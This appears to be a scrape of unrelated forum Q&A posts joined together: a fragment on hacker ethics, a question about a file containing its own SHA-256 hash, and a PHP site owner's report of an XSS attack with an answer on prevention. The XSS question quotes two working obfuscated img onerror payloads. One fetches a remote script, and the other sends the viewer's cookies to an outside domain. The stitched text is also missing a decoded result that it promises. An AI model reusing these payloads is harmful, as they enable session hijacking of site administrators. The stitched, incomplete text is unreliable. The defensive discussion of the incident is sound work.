This is a broad question, so I attempted to offer an answer that is not skewed by own experiences. But there's plenty of reading out there. I've given a few links, so search away. You'll see that there are very valid but almost contrary viewpoints on the ethics of hackers. My suggestion at the end though is don't be a jerk. Nobody likes a jerk.


is it possible to include hash (for example SHA-256) of document it the document For example I want to send text document with content:

---start of hello.txt---
Hello world!

SHA-256 hash of this document is: e5cefc21ce1131cc0e8759f5e3b46c016319883c6f9b0d714502f3cf7226864f
---end of hello.txt---

No. It is a problem akin to that of the self-enumerating pangram, but since the hash function is not reversible, the only way of doing this is by brute force. Given the size of the key space, this is unfeasible.


JS injected to database using img How do we best prevent XSS scripted img / html element injected to our database?

Recently I got a case in our website which is using PHP .
Our website got a message service which allows HTML elements and a fraudster was sending message including image tag in the message. The image tag valued the attribute id with 64 base encode string  and using decryption method atob to implement his script on our server when our admins are viewing his message.

I intentionally changed the atob function to named_function in the script below as it would trigger an iframe creation on this site.

this is the script. two images was sent in different messages.

  < img src=/
  id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHJlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs
  onerror=eval(named_function(this.id))>

  < img src=default
  onerror=eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,39,47,47,108,114,101,99,105,112,101,115,46,99,102,47,105,46,112,104,112,63,95,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>

The way to understand the encrypted code is using atob method decoding the encrypted codes. It would load a Javascript page which creates an iframe , loads JS and socket.io .
Using socket.io , it seems want to produce a flexible script in the iframe  to hack the websites.
below is the decoded result.

My current solution to this is to only allow image with src having image extension.

What is the best way to sanitize the img tag ?

Thanks.

PS.
if this image exists on a webpage , it would constantly produce a socket io connection.

Ignoring the obfuscation, this is just a normal persistent XSS attack.

Your approach will not solve this. For one, the payload isn't actually in the src attribute, but the id attribute. An attacker could also simply skip the obfuscation (or use a different one):

<img src=x onerror=alert('do the thing')>

The reason for the obfuscation is likely to bypass any possible problems because of special characters or other filters.

The dangerous thing here isn't the value of the src or id attribute, but the existence of the onerror attribute, so sanitizing the former two wouldn't actually solve the problem.

To properly solve this, look into XSS prevention. If you don't need user-supplied HTML, you should HTML encode relevant characters in an HTML context (<, >, ', ").

If you do need user-supplied HTML, you should look into existing HTML filters for the language you are using (I wouldn't recommend to write your own, as it's notoriously difficult).